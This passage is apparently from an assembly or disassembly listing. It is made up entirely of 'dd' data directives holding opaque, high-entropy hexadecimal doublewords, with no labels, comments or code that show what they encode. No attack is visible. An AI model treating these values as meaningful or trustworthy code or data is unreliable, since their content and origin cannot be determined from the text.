0FF3946Ch dd 0B9F1831Dh, 0FADCBBBh, 0CFC8B4C7h, 0C3439DB1h, 0CAE95F05h dd 0D6337F02h, 125F7093h, 7A9C72EEh, 7EDAD86Bh, 8600406Ah dd 0FE34FD88h, 0F1685201h, 5A1D2B1Ah, 0F5BE07Ah, 375A8979h dd 86E621EFh, 62CCE3C2h, 0B01EC855h, 0E70B0BEh, 0AEF480B9h dd 0B958E305h, 25172E79h, 0AC052210h, 31543268h, 0C22EB295h dd 0C930B2F5h, 5C2E64EDh, 0FCD81E5Ch, 5BA680Ah, 0B23388A2h dd 1727BB00h, 3E8343BDh, 369A01C3h, 8FC1AD1h, 434ED5A7h dd 0D25ACF90h, 0E72BFCB1h, 0ADE10E7h, 1CEB4C4h, 0FB8ABCB1h dd 5A7702Ch, 9EE6211Bh, 0BBB20728h, 18E5F364h, 0BDCBF2B0h dd 1F7B0101h, 6EDC17Fh, 1DE24520h, 0BC1DCF32h, 8AA1D280h dd 5DEE2918h, 361720E3h, 7AFF55A2h, 13263094h, 8FDBC617h dd 90B5613Dh, 95A2FA2h, 59E1E67Eh, 8B63F5Ch, 7341C602h dd 825D0633h, 419E8B4h, 0BBFE830Fh, 7AF9424Ah, 68EF2884h dd 0E98BA50h, 3C595DBAh, 702C87Ah, 68404D58h, 4182E713h dd 286B52DAh, 36B6564Ah, 0D19655E9h, 0F8B0D2EEh, 27A3424Fh dd 5B68292Fh, 7514E5CFh, 12DF3F8Eh, 8EBA7A8Dh, 702E3873h dd 614AFCB5h, 3BFFF790h, 0D2527CFEh, 0B1EB2748h, 68008BE4h dd 0EE943C62h, 9850DE63h, 9CE953F4h, 0E55DA57Ah, 723B08CFh dd 1540DD20h, 46AB849h, 0D7AEDD4Bh, 2109AB09h, 777E29D9h dd 501646E5h, 34D31E5Fh, 61D0CAAAh, 0A6E95579h, 0E03CF125h dd 95064701h, 609BB82Dh, 293274AAh, 5DA850F0h, 89C722Ah dd 5B13E4CAh, 58F3F2BEh, 856C2415h, 4CB1BE80h, 5B89798Eh dd 8128EFF1h, 0FCF1BFD9h, 40BB9564h, 3F88F53Ch, 2D0E508Ah dd 0B2C90A71h, 7D110BEh, 332AAF58h, 1ABD3F1Fh, 286A0D1Ah dd 8A70E55Dh, 4B1844F0h, 30DC2DDFh, 0F64CB342h, 5BDE8B1Bh dd 0D43409D5h, 9FCAC16h, 905D2AAEh, 744A064Dh, 0ABE5F840h dd 510C10DAh, 92B90254h, 7D5C9439h, 60068C8Dh, 0B5C0F027h dd 472F6851h, 0A64D4E7Eh, 53F100F2h, 0E963D925h, 2ED8411Ch dd 2AC96AA9h, 0D525A7F6h, 96CD6A25h, 0BE40C8E2h, 2FC1B054h dd 487C500Bh, 4E3ACA01h, 0F47A0D63h, 6502E2Dh, 1E40915Dh dd 0E786130Fh, 19DABA59h, 0A4876E4Ch, 6D550902h, 200CA881h dd 523B8479h, 0E05FA751h, 3905BF53h, 0DB484675h, 374E8404h dd 28B0BB3Dh, 35C70CEFh, 0E9131B65h, 3A22102Fh, 0A50C795Dh dd 9EF53E32h, 10D79776h, 802AC75Fh, 2CB8EF80h, 1E4C9120h dd 0CF06E6C0h, 0EEC7F7CEh, 92E0E448h, 0EDE310Fh, 160558h dd 2D12BB2Eh, 57403C27h, 827978BFh, 5AB0F707h, 335C2863h dd 0A7E10286h, 806B457Eh, 0F73D97F3h, 1FB9064h, 3AE79DE9h dd 0DDC8291Ch, 0E493E2Ah, 301F0766h, 8545C94Bh, 65C67DDEh dd 0E7806E09h, 8AE887B9h, 1C3D2468h, 5B2E7BFEh, 447A0921h dd 0A9B49555h, 0D76861D5h, 5C55C272h, 31E959F6h, 4D5A9620h dd 0A0CC0401h, 57F047FEh, 5359BFD5h, 5A5F5280h, 2D68E7D1h dd 3F76759Ch, 0B0F1F9C7h, 0B7A461Ah, 0A2E6BFFDh, 0DAF9E395h dd 2F275660h, 96656CFEh, 31A905EBh, 55DEC3E8h, 5BC22500h dd 0F28884Fh, 927F2684h, 8E044B80h, 0D731074Dh, 1CBCFA77h dd 0C2012859h, 54ADF83Ah, 24BEC345h, 88BA071Ah, 0FF2D8891h dd 6E929699h, 0F3BF4385h, 1A748596h, 92A637EBh, 0D6A3BDCCh dd 0EF843C06h, 0AF9272B3h, 0B7199CB2h, 65D2513Bh, 1DCE7AFEh dd 68823449h, 0E6D56D37h, 0A8BB0FC9h, 0E0B6426Ch, 4727E9CCh dd 3E8FF1E3h, 0BB399412h, 598BED2Dh, 38E0D6E9h, 6815F328h dd 1230266Bh, 0A874DB4h, 30EAF4D4h, 80A4B51Fh, 288CEB16h dd 125EFDE8h, 0A478A8F7h, 858BBCEBh, 0BD02F8D9h, 555A5E52h dd 0CE00F056h, 4F072873h, 7E48B457h, 9CB28484h, 0CC9D4E34h dd 0F4F19DAFh, 38917043h, 170A4102h, 48007F25h, 502A9D05h dd 9591F29Dh, 8CE9F182h, 0F480AC8h, 70FE8548h, 635CF4B5h dd 0FF92CA8Bh, 8A89AD5Fh, 0D14E3132h, 3EBD581Ch, 60C0A8E9h dd 0E94CD678h, 98056627h, 9347BF17h, 0C58100B6h, 29A65541h dd 0F55D9FFEh, 45E7642h, 0A480FC64h, 58353020h, 152C2149h dd 81400063h, 5866BBF2h, 0EA013E76h, 2DA846ADh, 1C9FD2F7h dd 7D324913h, 4D5DB300h dd 18C10E80h, 1F785109h, 0C87DA57Eh, 52905759h, 4B31711Ch dd 2C40B868h, 2FB2905Bh, 6799555Ah, 6CEB6045h, 0C54B84FAh dd 0FED3D6ACh, 2EE517C5h, 0FB05F1DDh, 0BA26FBB0h, 0FB76BF49h dd 0D8C3E942h, 0B55113E0h, 8B7DF9CFh, 4B26615Dh, 4A2FB040h dd 79FFB09Fh, 5518C99Eh, 71900BD7h, 16E96153h, 56316B55h dd 0D0C1C5B2h, 416A1EF5h, 12BCE23Ch, 0FA807E66h, 4EB2269Bh dd 25C8BC4Eh, 8843455Eh, 3318BA15h, 819165E7h, 0E2AC6EBDh dd 0FE61124Bh, 21FFE625h, 31071Eh, 143CABFh, 73B9147Dh dd 7AFBF208h, 2960C4A1h, 8AF8548Dh, 801A2FE9h, 880818DDh dd 0AF5A4AC8h, 4ABD6AC8h, 0FF1F9530h, 9D5A3DF0h, 53509518h dd 41B708FCh, 6C4A58EFh, 0BDF17113h, 68189876h, 954E9752h dd 9A7CEE9Dh, 0EBD180F4h, 54F4001Ch, 45524A35h, 4131E90Ah dd 60D2CDAEh, 0F46BC97Eh, 10D30922h, 0C0158983h, 180F4645h dd 0D337F482h, 0F913C8C3h, 0F7133184h, 2EBEA3ABh, 68851962h dd 89986443h, 976904D9h, 0D709E957h, 6BD46B94h, 7C690B67h dd 5487E92Dh, 0E57F0B5Eh, 4DBA556h, 2FC27027h, 0F17C7275h dd 0BB7FCD60h, 4EDBB841h, 4A48C034h, 0E916E2D1h, 49A51251h dd 0E7EEE360h, 0B486FEECh, 88328979h, 0CB40CA8Fh, 0E950D3F6h dd 0CAD274Dh, 62FC580h, 70C3EC88h, 0E5EB7BE1h, 0BABCC0D6h dd 6A418247h, 5FD2783Eh, 93C261BFh, 0B5B27ABFh, 843850CBh dd 0E796577Bh, 38536841h, 9D54AE4Ch, 2BFBBC50h, 94ADFBCCh dd 0AFEB928Eh, 408834C5h, 6F40414Fh, 0F2C414A8h, 76435885h dd 0A9EAD6FBh, 3D34C507h, 2F7EEDFDh, 74768D8Ch, 1F14BAD8h dd 722E8A03h, 9BCA11F4h, 78E5EFFCh, 27E97AE0h, 88EC26A7h dd 6CAE5651h, 83E9A096h, 4209D09h, 12085B52h, 5821582Fh dd 16B2E68Dh, 0A0EDF7ECh, 43868FFh, 8EAE4E42h, 5EF1C29h dd 2B65F2Fh, 0B47EFB29h, 4897B18Bh, 96C0F2CBh, 66253F37h dd 795FE2E2h, 5FA5EF9Ah, 0B9254B55h, 0E904215Fh, 206B6FF9h dd 55EF87F2h, 0F314F72Fh, 0E4FC3FE9h, 0B6F890FDh, 2FA92809h dd 51471345h, 151CDDADh, 27D072C8h, 0DB033C59h, 0F154D66Ah dd 0CD8A659Ah, 405938EBh, 39936A1Fh, 767CF8BDh, 0A65CBD68h dd 8D214560h, 0C8D2B749h, 0E42C5EFEh, 74026E64h, 0E315EA61h dd 0CF04804Bh, 0BF57003Ch, 3A271639h, 5C95B0E9h, 0B879E49h dd 9451A002h, 0D3E15C67h, 0BF2AFEF9h, 0C2E42A2Ch, 4D6A6837h dd 0D1778E9Ah, 53849642h, 0BCA2BF4Dh, 2D8692D4h, 99F68F4h dd 0B84EFD30h, 0FC35E62Dh, 96A942A3h, 263113FAh, 0C1B80C24h dd 54244D4h, 0BBDB4305h, 0E017A8BDh, 0A60A4D68h, 4E9EF0A8h dd 18C8CA6Bh, 0E2E1FBF9h, 7EC12F3Bh, 9FA814D7h, 777D0FD2h dd 0EA126926h, 0FE27A23Ah, 7FE4147Bh, 3E209893h, 0F3EA8012h dd 0B3E8D0BBh, 0E92DD320h, 433BDD89h, 6DF7C9D9h, 7B71860h dd 82465617h, 5D61CC7Fh, 0F84FD6C4h, 0E6B98661h, 9C71775h dd 7A8BE157h, 284F6EF7h, 0DB4C0B09h, 4025391Fh, 0FE599050h dd 10B680ECh, 874077B0h, 5FFB2F09h, 0D02DCAD6h, 0EE0509C5h dd 7DD45F9h, 4BCE87ACh, 3D1E0FD5h, 8EAB03Dh, 9F5B5553h dd 96DA4FE4h, 407BC082h, 5FEBC64Fh, 16B583FEh, 525800B5h dd 7408A3BAh, 0BB045360h, 737C15BEh, 171BFCC0h, 10C13C3h dd 88C10DAh, 0B1C8C75Eh, 9D88A3E9h, 0B4D62ED3h, 0D484240h dd 21E5E76h, 7E7B3539h, 0BD57DDEh, 0CF3AF587h, 0E7E850A2h dd 28DE400Bh, 2864B54Fh, 56F3C130h, 298AE88Bh, 2DEF68F2h dd 3A79CF60h, 0DE065327h, 9308A0E0h, 0BD55004Ah, 5B0113BFh dd 9389F3BDh, 0D2131Eh, 3974B714h, 0EB58D12Fh, 6BB981EDh dd 208164BBh, 1D1AB07Bh, 9CB42E09h, 803D6FFh, 431DFDD8h dd 0C90BF8Ch, 80C639FEh, 0B625F05Bh, 55B62D60h, 2C5A5D59h dd 10C8A5F3h, 3822625Fh, 91EDF6Bh, 27D98839h, 48A3D5F3h dd 2E1C9745h, 0C80EEC04h, 561A992Ch, 0BFCA0020h, 81109EC4h dd 412F338Ah, 881990C1h, 9E81BB7h, 0B6F32D24h, 2C9E1EB3h dd 0B4BA1229h, 787A822Ah, 0FA01F5A2h, 6AAC1540h, 0FC4D743Eh dd 6528176Bh, 715A13DEh, 6A09DE23h, 25515FD8h, 9A0AC7E9h dd 45730BBFh, 848455F4h, 1163B10h, 720EBC1Dh, 4CCE8C19h dd 77F31926h, 9A8D5046h, 28739DDDh, 52CD05C0h, 143CB666h dd 0C058072Dh, 0D458817Eh, 480057B9h, 0E18102B1h, 4A2C4E98h dd 416E8360h, 15FCF1D0h, 0C4ABE30h, 2795B806h, 1857310Ch dd 5E1FE9EEh, 842AB659h, 0AE169F5Ah, 44CBA662h, 0DEEE0707h dd 375B8B01h, 8548EC6h, 52440C63h, 0F10D1E93h, 38C177E9h dd 0BA022E28h, 570329F9h, 0FD8FC255h, 0B92E54A7h, 7D36C44h dd 0EF1408h, 0B2525051h, 0D43988C2h, 5E5AC5Ah, 4E6BE958h dd 93FEB37Dh, 0FE1616FBh, 49A0EFCCh, 573B767Ch, 7C0BDCA5h dd 14048351h, 14819175h, 76C0C5E5h, 0CD870937h, 0B512B850h dd 16A90CFDh, 97177DE9h, 0E48862F1h, 0B6F6CE56h, 5BDE16D8h dd 0C2AAAF12h, 0BC590180h, 0B3137411h, 187BE360h, 51E31E6Dh dd 4810F055h, 0BF8E5094h, 0AFDFBF7Fh, 627E4161h, 59D09C24h dd 0C91920B5h, 714F06DAh, 0AF8CFECAh, 1069F20Ch, 2709F456h dd 910BC17Bh, 87F15E1Dh, 0F14E6FEEh, 0E5F009A6h, 0FC8B4055h dd 73049032h, 1CE9C589h, 0FB5BF9BCh, 5D1C0476h, 0EF0245F0h dd 6D6569AEh, 0C652B0C0h, 589A672Dh, 9168129Fh, 5990CC46h dd 39C72201h, 0EC8BE95Dh, 95CDA780h, 4D116108h, 73CF72E3h dd 0F352A103h, 2FE92993h, 22624332h, 71F4FE77h, 55240429h dd 68FE90FAh, 852F6FD5h, 4F5DE041h, 7BBD2002h, 422C9409h dd 3085D547h, 6853E004h, 0DB535B2Dh, 19010E2h, 8F86BC35h dd 0BE3B01E2h, 0D8297544h, 124C7DE3h, 42078D1Fh, 0BF9BE966h dd 0B9972775h, 14DE7421h, 48B074h, 0D22DD8F7h, 29355D94h dd 0CBE07EBDh, 0EFE3B205h, 0C331D431h, 0A2E1027Bh, 0EF512509h dd 7EB2290Bh, 0E840DA20h, 0A4A44DDBh, 541A7109h, 3EC2DC13h dd 6B800F0Bh, 7CBFF3F0h, 7B105A95h, 0D612DE9h, 36BBEA4Dh dd 906F6CD1h, 9F7034E9h, 832AE9F4h, 0AF21AB14h, 1DB8923Eh dd 17315E76h, 3738EBC7h, 206F12D8h, 9DF2FF14h, 0B05E512h dd 1A5E8369h, 476BDC4Bh, 581A9868h, 3D545596h, 1129A26h dd 50FFE2EBh, 0C4B71BA9h, 0AA85F0EAh, 5E89639Fh, 0F6FFB460h dd 4D7151B7h, 34007A23h, 736684BFh, 2B7F9714h, 228277A4h dd 52FB36B9h, 9909459Fh, 0F66DFDAAh, 0AD87C72Fh, 0E94106F9h dd 0A63A0A30h, 88789802h, 0B8FDE4E7h, 5A3D27F1h, 56783D7Ch dd 2580AA5Ch, 0E7FF50C6h, 838A97D3h, 0EA5B9765h, 47143ACBh dd 0F7CCFF17h, 555B0677h, 0CA41D38Fh, 0FEE5136Eh, 2F689828h dd 194C1211h, 400AE927h, 0EECE201Ah, 4F669280h, 0AD3DAE57h dd 9D4CF2Eh, 0D91A4E68h, 66F680B2h, 1EE92E39h, 51259CBEh dd 7AA7BDACh, 0DDAD7D7Ch, 50A1DC1Eh, 449F34FCh, 5EC4C697h dd 45C29859h, 0E96498BDh, 0A4935A9Fh, 60405291h, 0C7801C5Ah dd 5DCF1D81h, 0F65946EFh, 342D0CDFh, 0BBA9F528h, 0C38663E8h dd 0D1686609h, 38FBF26Dh, 0E85B6BB4h, 49C7C456h, 0DF6D0312h dd 21D1C35Bh, 7DB8A7EDh, 0D3029932h, 962BBh, 0DF752DDCh dd 0A6895FFEh, 8BFC5B97h, 45BE092Ch, 0A066C4EBh, 0FE9F2DA9h dd 5CD32F12h, 0D10013ADh, 0A2513848h, 8B6A0626h, 82AC4E61h dd 923EC404h, 0E781FE18h dd 0FEE8D27Fh, 0C9895C51h, 605DC75Bh, 5B662F23h, 7A1F3F0h dd 0DD594C59h, 0D14FE290h, 0D053F192h, 4E67F679h, 0A6214FBFh dd 87E00209h, 1127035h, 8CEC332Ch, 8BDEBF76h, 2BAFFB52h dd 0BD9C2A6Eh, 7C1EFD60h, 2754794Ch, 0DEB2228Eh, 315A019Dh dd 2A9AFBCBh, 0C0693255h, 13D36855h, 6038CB71h, 344CE93Dh dd 30BC3099h, 0C1814F92h, 73741D89h, 8BF18302h, 0EBB593B7h dd 0ADD27CA2h, 0AB791231h, 8DABF4EEh, 0C38842F2h, 24CC9583h dd 0D3605972h, 0FBE99C76h, 0D2FE4DEBh, 2AF7042Fh, 431025FCh dd 6277BD25h, 1F10DE35h, 1A41890Ch, 0D9503B55h, 7797F448h dd 7F21E5C4h, 643B04B0h, 0FF0566FDh, 9F2DBAA0h, 0FE27C7F4h dd 45F1C9CEh, 8816F7EBh, 68525701h, 48F758A8h, 0E977342Eh dd 6D840C9Ch, 17F24D42h, 0EB013A63h, 0F8DF910Fh, 27684A18h dd 7D994293h, 6B493BBFh, 5556628Fh, 880F2060h, 0F6BFD87Eh dd 29BCE328h, 0B8CD1702h, 40767733h, 0E26ECBC1h, 0D60CC70Ch dd 0C0D177ACh, 4270FBF5h, 1FA65940h, 16435850h, 2F84ABE9h dd 9B84A116h, 592ECEEEh, 72E982B7h, 0B3BA4819h, 0D22C387Eh dd 5827D83Eh, 3782B989h, 0B3014EAFh, 0C83B3052h, 8C405F93h dd 9559D59h, 0AE9F0A94h, 46B255AFh, 0EB299FDh, 6458E268h dd 97A2B27Eh, 6CC9865Ch, 13CB2E0Dh, 2ADCCDE4h, 9317858Ah dd 689C28E6h, 4235C726h, 17805464h, 2D5DCDBEh, 1E62522Ch dd 0F88BE9C1h, 92E3C19h, 11081ECEh, 9E801DA9h, 1E750B37h dd 329DCA44h, 0FA745F72h, 4B5A7969h, 1D2AF303h, 2B45A910h dd 0F191EE4Bh, 0BB96C7D2h, 2995A4EBh, 5E25FB7Dh, 226072EAh dd 3030D55Ch, 0BFC33136h, 6FA63D64h, 1050FAA7h, 0C56FF199h dd 8E8821D8h, 120D0118h, 61870F28h, 5434ADA1h, 3B29439Fh dd 0FAF06712h, 0FD5AF04Eh, 0B395ED57h, 81BDF1EEh, 677CB10Ch dd 0F17B295Bh, 0E90800E0h, 4ACE162Ah, 0FD020CBBh, 0A0E6341h dd 5627F788h, 299AE0FAh, 51F9FEDAh, 0E82F6C20h, 0FDA65BBDh dd 93A9804h, 328B8079h, 36608F54h, 0B28A010Ch, 9C2BF2Eh dd 407FA409h, 9FF2E9E9h, 0A7F1E10Bh, 6A746D42h, 0B4698C7Eh dd 68C54012h, 66266427h, 78113933h, 0E5813887h, 19099394h dd 34727A05h, 4FC05059h, 7CB72646h, 0D9F7040Dh, 825F8B1Fh dd 62789673h, 0E015F6B5h, 2B67FEC3h, 0CB013912h, 30224401h dd 0B82F23AFh, 5C327DFCh, 0D0FD9C5Eh, 18DCBD0Dh, 0A85172D8h dd 0BF8996E0h, 0C0855520h, 500E04E3h, 0E1FEB6B0h, 27E9AD2Ch dd 6179C8E2h, 1CCE0076h, 0BA7E9025h, 8C162D41h, 44A1B238h dd 759BF86Bh, 14E77655h, 0CBA2FFCDh, 2574FBD6h, 0F2D5C9EAh dd 0CAEC81F2h, 3110B117h, 0C7D12B45h, 2B3A79EAh, 98FF7334h dd 0D15BB261h, 0CA7B1823h, 535F29FEh, 0F568BE85h, 0B59407A2h dd 0FF5EA9E4h, 30A2DB27h, 0C82B763Ah, 6027058h, 45DA2A6Bh dd 0BE3F9C18h, 68C5EA06h, 9AEC30D5h, 10A00818h, 4C8F324h dd 89E9923Ch, 0C777EE20h, 96D006B4h, 0A840EC68h, 803E49DFh dd 7B5AC280h, 0D128A2C1h, 0B6E26BF4h, 7CA18828h, 68D95713h dd 0EC3BF361h, 4640E1EAh, 0B4C4F82Fh, 0ECC8B3C1h, 58F8BE04h dd 52F7D38Eh, 620EB96Fh, 771FAC2Ah, 0BC14313h, 3E5E227h dd 0A53745A7h, 0E9849CFEh, 0AF98509Fh, 4856FAABh, 3E0BA321h dd 0EA80EE0Dh, 486F49E7h, 1DE96613h, 39EEEB85h, 97452E8Fh dd 40984EA2h, 52DD2768h, 3D8B0279h, 0B632F70Dh, 1662A398h dd 563E1125h, 97273C17h, 5C2FF0EEh, 0F822D566h, 9B80E77Ah dd 0C1887B34h, 910EB94h, 6E3E680Ah, 0A8AEBE72h, 0C6808372h dd 80B5BF3h, 0E83068D9h, 81724443h, 0D6DCD95Fh, 0F931780h dd 185E538Ch, 0E899392h, 0D988E561h, 4916857h, 8314E220h dd 288388C5h, 2231C950h, 0B05D8C00h, 6B3FE097h, 9455138Dh dd 0AFCBC101h, 0F5B4009Ch, 39B12C51h, 2832057Bh, 0B5EF80CCh dd 0E53EC0A3h, 0B3ED1F03h, 0FC9DECCFh, 984358EDh, 0B55C7398h dd 5ACBBD7Ch, 2F176FAh, 161E77Eh, 0EA5459CEh, 79A83CC2h dd 8FBE0702h, 80C252Eh, 51128AC1h, 0D3BEFC16h, 3EF16E94h dd 0C5119D09h, 0BD7F74A7h, 857D4FFDh, 1FF8A330h, 87575451h dd 3CC210B4h, 183D617Eh, 0BF673693h, 0C8852471h, 0E689F141h dd 410BAB05h, 0BDBCD8DDh, 1AE3CED4h, 0C35B0223h, 0D239D3D1h dd 803FBE7Bh, 255DC274h, 155538h, 0F2E00569h, 0E4E92E47h dd 84530E49h, 0B90110EEh, 707B5442h, 270BF1F2h, 0D53AAB64h dd 1D58E822h, 56DB7C0Bh, 21ABE912h, 0DCB2044h, 22830F01h dd 0BD17A8DCh, 518117C2h, 0AF9675D9h, 238EC20h, 788BF55h dd 4CC7315h, 900B8CB0h, 0DE623726h, 13E90581h, 7BCCCA80h dd 0F7AA6525h, 0E22F21CEh, 338E6935h, 2B823369h, 90D66C65h dd 0F1258B9Fh, 251D518Fh, 0C3912AD1h, 0AE04725Ch, 93DAD9C1h dd 0C2EA0705h, 2E2D4158h, 2010B179h, 0B432C002h, 5FFC4477h dd 8A241593h, 0F31C308h, 0ABEEAC1h, 0BC6E6510h, 7A230527h dd 905BE561h, 1901BE13h, 30924666h, 2FC9AC6Bh, 0FC9ED7C1h dd 0D7D4E917h, 0B24DFBBh, 73480FE9h, 16776B80h, 568225EBh dd 0CB05A752h, 49576195h, 226BE90Eh, 75214DADh, 8F61608Eh dd 42452553h, 0FE009BE4h, 378E0FC4h, 876211DFh, 148481CCh dd 0EAD23B41h, 29FA575Bh, 0F31AA62Dh, 786841A3h, 59F32E40h dd 0E8F11796h, 0F2A98691h, 0DCA3DEBh, 0F16AD01h, 0A74A5280h dd 0AEBEDF18h, 0CAF54728h, 586DFCBFh, 0B9E6DE9h, 8E21BB0Ah dd 0F4AA2418h, 75072C52h, 83991829h, 51163CEAh, 98F927BEh dd 0EFC4C202h, 9FFCA3Ah, 0D05B5743h, 0E6928BABh, 0ADEE1B8h dd 898848C1h, 883077E3h, 0F007C6Ah, 9B054869h, 0B796F083h dd 9C71ED09h, 0F8DA462h, 626857E1h, 0D457C24Bh, 85E9580Eh dd 29C502B5h, 0F69680D6h, 60060D7Dh, 83C0C78h, 42B58EC1h dd 6ADF54DFh, 0A4CB3F6Fh, 1490034Ch, 0DE58CAE6h, 5CEF2702h dd 7629A8E7h, 0F8017509h, 7C3401CEh, 0D8E9388Bh, 53A7A6AFh dd 0BA569603h, 0D703E206h, 0B8F1B320h, 745C7320h, 47120415h dd 1CFA1A9Dh, 38CDDA6Bh, 34460B0Bh, 690BF99Dh, 0AB9CBA2h dd 960D0503h, 0BE2D4A0Eh, 29AAE516h, 3AE8E940h, 9D828735h dd 897D0FEBh, 0E8579828h, 9702FAD6h, 9EA1B536h, 0F1B1006Ah dd 9F75E480h, 649341DEh, 54D53A04h, 4F6FC4C9h, 0E8B658F5h dd 619C043Bh, 16B068EBh, 32D276F1h, 0E35A7C25h, 0B9CE2903h dd 0B3391D8Fh, 41025D4Dh, 316806B0h, 0E9814B40h, 3023DCBDh dd 3F2EE70Ch, 647B0958h, 0CEBC2587h, 0A90AEF80h, 14FF5C8h dd 3BAAD9AEh, 0E36B15F1h, 42FADA98h, 9F3DFAC2h, 0C3B7377Eh dd 0EA071E9h, 0BE134EB7h, 38B23C9Ch, 12C7FFC8h, 33E29D65h dd 5D16532Fh, 0B09D331h, 2EAF84FAh, 92BECA5Bh, 8CAFE4F1h dd 50BC8080h, 3D35066Fh, 77E1B711h, 3A63A43Ah, 3752D516h dd 0C42BE2BEh, 0E6E57B19h, 952443E9h, 120662E5h, 0A557D324h dd 0D50A05F5h, 0E416F2E0h, 8542FF0Bh, 945D0840h, 1014809Bh dd 7FEE0BCCh, 0FEE23314h, 49D28982h, 19812753h, 0F24A5EB8h dd 0A3677466h, 0DCB51570h, 5A93EA78h, 5151EA74h, 0B195FD3Fh dd 0BC2F6F9Bh, 79BF9748h, 0FFE87E36h, 555CE0A5h, 576FBD05h dd 8D0A143Fh, 0B805FC02h, 25ECFD5Dh, 0D17CBF75h, 0BF51E9D0h dd 6D575F62h, 0F7E99EF6h, 1AD153Ch, 27A87BAh, 35E87B52h dd 6817C63Bh, 0D9CBB8BAh dd 0D1FD8B9Ah, 69EC802Ah, 324BC122h, 0A9E082F8h, 440D12B1h dd 6A69F5E9h, 1D3BEB2Bh, 413A5D51h, 82FB7D8h, 4040DAFAh dd 0D397B844h, 0F3A23F21h, 50DAE856h, 35094A4Ah, 78292E19h dd 5808801Ch, 0F196BD21h, 8B22E925h, 7A1ED4F8h, 66D5F98Bh dd 85984A09h, 0B299BEC1h, 0D23A68F0h, 4788BB18h, 4EB4F8F5h dd 7277E41Ch, 0DD7A42B5h, 4C118E94h, 0EB4EFEE5h, 6FB65DD8h dd 9291CE0h, 0EAAC7B11h, 6731FD09h, 49754A0h, 0F53C4E94h dd 8A2DBD95h, 0B85AD729h, 0FC403E10h, 0EC4C41D6h, 4C9F4016h dd 8D945F90h, 4361E05Eh, 43E8DB95h, 682EE82Bh, 58274080h dd 3B6828ABh, 8071798Fh, 5313FABDh, 0C6E14723h, 0A3453B9Ah dd 8CAB5B81h, 0F6D9CBF4h, 0BB218B29h, 4D01F2F8h, 0BF015128h dd 2BC23083h, 2CE1FF89h, 19CE7E0Fh, 6BE1EE02h, 0F8DD7D58h dd 740882EDh, 947FA58Fh, 0B200973Fh, 73343F8Eh, 5F40C49Fh dd 1D50138Ah, 4B77C92Eh, 98F4C675h, 3EB4E95h, 6E77687Ah dd 1F41C513h, 5C506CFBh, 51A1F795h, 91FEDFBDh, 573E93F1h dd 17804B2Fh, 30B05058h, 0EC5283Bh, 0E9D4F580h, 97517FE8h dd 625D9663h, 6EF39AA4h, 49B5D1F7h, 2E50595Dh, 0E9FB4011h dd 0ECE0DC3h, 0F311D329h, 2E683CCAh, 0F5CBD96Fh, 4488372Fh dd 525A580Bh, 0DF9D75h, 0AC033285h, 0D2050941h, 960253FCh dd 31DD58C6h, 0AD7E391Eh, 7C760546h, 6FC3669h, 66C28101h dd 300B5F4Fh, 0DB8257C3h, 0A08E17FAh, 78975D1Ah, 13124E59h dd 0CD8BBB64h, 58EFE94Bh, 0E3851704h, 126B41E5h, 0F6D9BB4Ah dd 0F2B76F5h, 6944B9D7h, 0DA87EE8Ah, 77BF6611h, 0F44D5370h dd 81095F1Ah, 3E6FE9EEh, 0D4FEE813h, 4FE6AE09h, 5140C688h dd 0D25BF8E9h, 219CFA3Ah, 84347002h, 4F4FDA1h, 924EF8AAh dd 0D23B161h, 6DE48000h, 5302C4E6h, 3058E328h, 494BF9D8h dd 30DBEFFDh, 7EB15108h, 8DE1B427h, 0CB3E50A5h, 0C3800D31h dd 1F2106C1h, 59B6C72Ah, 2BFD0E87h, 0C10042D1h, 0C5E9D328h dd 58F38369h, 5D1E31E8h, 54B5D5E6h, 0B8E97033h, 550A4A63h dd 0A501B954h, 15A1E26Bh, 5E6D3EAh, 0AF19A0C7h, 920C81EAh dd 0E7A15131h, 7C1C2002h, 0CF8080h, 0C0835445h, 55513501h dd 52BB900h, 0D737728h, 0C7AF5FE9h, 9F59972h, 6917D9A5h dd 0E93766A1h, 129F3C0Ah, 0EE0CC788h, 1EA915Dh, 4ED1F92Eh dd 3E5AD029h, 2E683C8Ch, 0C2DE6127h, 5F09767Ch, 973D8F71h dd 31E1F142h, 0DF6A62DAh, 3F25B4E4h, 91D7150h, 0A485DA01h dd 42CEFA3Dh, 5EF1213Fh, 8B5F1D5Dh, 63BB9DFh, 0B87D4F92h dd 0C9E5E85Ah, 79A49531h, 0DFB9EA5Ah, 987CE89Ah, 0EB5B42h dd 28ABF480h, 5558E72Fh, 6132CB2h, 0DC13D883h, 32FE9123h dd 6550CCCCh, 7246BA02h, 8F2133A5h, 0A010A9A2h, 698E0D51h dd 4E7D7A9Ah, 0B7B716F4h, 2533202Bh, 395052E9h, 0F78984A5h dd 580E83D7h, 0C1B9166Bh, 0CF370839h, 612B84A0h, 0E58997DEh dd 42B8F57Bh, 0E98044C5h, 0B7C25A91h, 5EE6583Eh, 141C5785h dd 0CB47FA95h, 6F67C153h, 12FA916Eh, 0E0C10121h, 2F850D30h dd 0E4C437D7h, 7B16B42Dh, 0EC800282h, 0D1FD5B63h, 41254295h dd 0EF824B79h, 600C7C08h, 57B44B1h, 0CBE96BA8h, 4C29B761h dd 0FD1440Dh, 5EF68D17h, 1C66DFDh, 89122145h, 0C6F2EF3Ah dd 0AEE788C4h, 0BF806624h, 710C2909h, 28E9846h, 40E41EA3h dd 42FCF101h, 98F97D5Ah, 9B4B4E83h, 0AEE41D61h, 0C0C586Dh dd 0A027AB89h, 197839Eh, 852E01C1h, 0E90C9D64h, 12136F33h dd 9EF253E8h, 7F6414C9h, 372C3EB3h, 60171D4Ah, 6015409Fh dd 0F3E68816h, 3F092971h, 0C207820Fh, 0F9F9FF9Eh, 7FE1C045h dd 556B002Fh, 776D54BDh, 13094858h, 99905EBEh, 5BA945B1h dd 19C80BAh, 674FE9D9h, 5F09E8C0h, 5862F01Ch, 55A23344h dd 0CD3FA3FFh, 5DEEA959h, 1BFBC264h, 0E4331B2Ah, 1FFE13CCh dd 0A2B8122Bh, 721FD3F1h, 0ECB566CBh, 67852F4Bh, 0ED8961F9h dd 5E96FF2Ch, 75AAFE4Eh, 92148039h, 5202A66Bh, 62386805h dd 7D65F718h, 0BF07E904h, 5D74CAABh, 7A4410C8h, 0B207FB5Bh dd 490825CAh, 0E848F80h, 515DBE83h, 40AD050Bh, 68212BFh dd 4893EC3Bh, 0EE20F258h, 8C4A3290h, 0FF1E16AEh, 4A689728h dd 49F91D92h, 4F5570CFh, 0E6CE0901h, 5DC23E9Eh, 46050668h dd 58542572h, 0BE696DDh, 0FEF606E9h, 230804F9h, 770500F5h dd 2DD81057h, 0FE06960Fh, 7449E534h, 0E4072CEFh, 